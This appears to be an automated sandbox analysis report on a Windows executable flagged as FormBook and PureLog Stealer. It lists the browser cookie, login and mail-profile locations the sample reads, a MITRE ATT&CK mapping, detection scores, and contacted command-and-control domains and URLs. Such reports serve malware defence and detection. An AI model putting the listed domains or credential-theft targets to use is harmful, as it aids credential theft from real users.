Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2873773132.0000000003770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2873698812.0000000003730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2064726692.0000000001D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2874222772.0000000003AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2065008686.0000000003330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1752688007.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1749151470.00000000025A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\unlodctr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\unlodctr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\unlodctr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2873773132.0000000003770000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2062443997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2871535799.0000000002F80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2873698812.0000000003730000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2064726692.0000000001D40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2874222772.0000000003AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2065008686.0000000003330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UQO06iOMKZMPZ4A.exe.3e29990.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UQO06iOMKZMPZ4A.exe.25a0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1752688007.0000000003E29000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1749151470.00000000025A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	31 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	3 Virtualization/Sandbox Evasion	LSASS Memory	3 Virtualization/Sandbox Evasion	Remote Desktop Protocol	11 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Disable or Modify Tools	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	42 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
UQO06iOMKZMPZ4A.exe	62%	ReversingLabs	ByteCode-MSIL.Trojan.Nekark
UQO06iOMKZMPZ4A.exe	53%	Virustotal		Browse
UQO06iOMKZMPZ4A.exe	100%	Avira	HEUR/AGEN.1304427
UQO06iOMKZMPZ4A.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
www.linbreoffice.org	8%	Virustotal	Browse
www.dntchunkysalsa.com	2%	Virustotal	Browse
www.electronicraw.com	1%	Virustotal	Browse
klingerlumberltd.com	12%	Virustotal	Browse
www.gattosat.icu	3%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.dntchunkysalsa.com/qruc/?vFLHF=St8dDlnHzrct7&xl=ebTrY2reCe2ZTSPQmCOT7uftBIKel9RxJULKIziXTH46LqUEJduuafb87psJAf6uxD5XXi6v1WxfauXtOkGyHWMQjIrD11Zkal8n9/6ZGFCOuXv54YqdQOw=	0%	Avira URL Cloud	safe
http://www.quantumboulevard.xyz/qruc/?xl=TKQjCngekOUXb4wYgtIljeQn8ysV0DQxkVDYFHPguHHgtawi326eHXwL5/LbdhSUHl1rH91YHPKtuSAwSH4DrTeIYMFIFWvJ0j7VceHyTVuRqxxukq8+akA=&vFLHF=St8dDlnHzrct7	0%	Avira URL Cloud	safe
https://nojs.domaincntrol.com	0%	Avira URL Cloud	safe
http://www.gattosat.icu/qruc/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	Avira URL Cloud	safe
http://www.quantumboulevard.xyz/qruc/	0%	Avira URL Cloud	safe
http://www.dntchunkysalsa.com	0%	Avira URL Cloud	safe
https://nojs.domaincntrol.com	0%	Virustotal		Browse
http://www.founder.com.cn/cn/bThe	0%	Virustotal		Browse
http://www.dntchunkysalsa.com	2%	Virustotal		Browse
http://www.founder.com.cn/cn/cThe	0%	Avira URL Cloud	safe
https://domaincntrol.com/?orighost=	0%	Avira URL Cloud	safe
http://www.gattosat.icu/qruc/	2%	Virustotal		Browse
http://www.quantumboulevard.xyz/qruc/	1%	Virustotal		Browse
http://www.linbreoffice.org/qruc/	100%	Avira URL Cloud	malware
http://www.zhongyicts.com.cn	0%	Avira URL Cloud	safe
http://www.linbreoffice.org/qruc/?vFLHF=St8dDlnHzrct7&xl=Xmo1lInOanbZEZR5AfqbZqRP40VXQk0TYIBV9i+RFmbCb5D19+w35N1Is2bkZ42QIXmVJTObgj0BeJUqj9w3SBcjawfNBsE/jQutHm2oP9EVAL/0u02x0DQ=	100%	Avira URL Cloud	malware
http://www.founder.com.cn/cn	0%	Avira URL Cloud	safe
http://www.gattosat.icu/qruc/?xl=UAq9CzGRql0qbxLJ0VHAxYbE6gcH95yIoC7W/FPBEpHWNGr0R1xACLnBcwEc3ZkTuU45ULwzGu2M7+E0XrmRKTDELq+4Gy/k2I5T6z62BN58jG7ys8mA5gg=&vFLHF=St8dDlnHzrct7	0%	Avira URL Cloud	safe
http://www.dntchunkysalsa.com/qruc/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	Virustotal		Browse
https://domaincntrol.com/?orighost=	0%	Virustotal		Browse
http://www.klingerlumberltd.com/qruc/?vFLHF=St8dDlnHzrct7&xl=4y8JdVmVqWeea5bbMhnz8aXW/zBNuVIx9gyDCHl5L7QB29ig52mkDYCfyusGnjDf+1nAg1jN2XuDrRbFj9LrVx3K8AcskdL8Q9MgXuVmjPqiRPQTvnH80A0=	100%	Avira URL Cloud	malware
http://www.linbreoffice.org/qruc/	9%	Virustotal		Browse
http://www.founder.com.cn/cn	0%	Virustotal		Browse
http://www.dntchunkysalsa.com/qruc/	2%	Virustotal		Browse
http://www.zhongyicts.com.cn	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.linbreoffice.org	64.225.91.73	true	false	8%, Virustotal, Browse	unknown
www.dntchunkysalsa.com	154.213.73.100	true	false	2%, Virustotal, Browse	unknown
www.quantumboulevard.xyz	66.29.135.159	true	true		unknown
www.electronicraw.com	173.255.194.134	true	false	1%, Virustotal, Browse	unknown
klingerlumberltd.com	109.70.148.57	true	false	12%, Virustotal, Browse	unknown
www.gattosat.icu	109.123.121.243	true	true	3%, Virustotal, Browse	unknown
www.klingerlumberltd.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.quantumboulevard.xyz/qruc/?xl=TKQjCngekOUXb4wYgtIljeQn8ysV0DQxkVDYFHPguHHgtawi326eHXwL5/LbdhSUHl1rH91YHPKtuSAwSH4DrTeIYMFIFWvJ0j7VceHyTVuRqxxukq8+akA=&vFLHF=St8dDlnHzrct7	false	Avira URL Cloud: safe	unknown
http://www.gattosat.icu/qruc/	true	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.dntchunkysalsa.com/qruc/?vFLHF=St8dDlnHzrct7&xl=ebTrY2reCe2ZTSPQmCOT7uftBIKel9RxJULKIziXTH46LqUEJduuafb87psJAf6uxD5XXi6v1WxfauXtOkGyHWMQjIrD11Zkal8n9/6ZGFCOuXv54YqdQOw=	false	Avira URL Cloud: safe	unknown
http://www.quantumboulevard.xyz/qruc/	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.linbreoffice.org/qruc/	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.linbreoffice.org/qruc/?vFLHF=St8dDlnHzrct7&xl=Xmo1lInOanbZEZR5AfqbZqRP40VXQk0TYIBV9i+RFmbCb5D19+w35N1Is2bkZ42QIXmVJTObgj0BeJUqj9w3SBcjawfNBsE/jQutHm2oP9EVAL/0u02x0DQ=	false	Avira URL Cloud: malware	unknown
http://www.gattosat.icu/qruc/?xl=UAq9CzGRql0qbxLJ0VHAxYbE6gcH95yIoC7W/FPBEpHWNGr0R1xACLnBcwEc3ZkTuU45ULwzGu2M7+E0XrmRKTDELq+4Gy/k2I5T6z62BN58jG7ys8mA5gg=&vFLHF=St8dDlnHzrct7	true	Avira URL Cloud: safe	unknown
http://www.dntchunkysalsa.com/qruc/	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.klingerlumberltd.com/qruc/?vFLHF=St8dDlnHzrct7&xl=4y8JdVmVqWeea5bbMhnz8aXW/zBNuVIx9gyDCHl5L7QB29ig52mkDYCfyusGnjDf+1nAg1jN2XuDrRbFj9LrVx3K8AcskdL8Q9MgXuVmjPqiRPQTvnH80A0=	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	unlodctr.exe, 0000000B.00000003.2253314479.0000000008198000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	UQO06iOMKZMPZ4A.exe, 00000000.00000002.1796682227.0000000008FA2000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nojs.domaincntrol.com	unlodctr.exe, 0000000B.00000002.2875903502.00000000046E8000.00000004.10000000.00040000.00000000.sdmp, unlodctr.exe, 0000000B.00000002.2881271761.00000000066E0000.00000004.00000800.00020000.00000000.sdmp, DpzZIqplfZXGlyHqisknlKbWCP.exe, 0000000C.00000002.2874692684.00000000037D8000.00000004.00000001.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
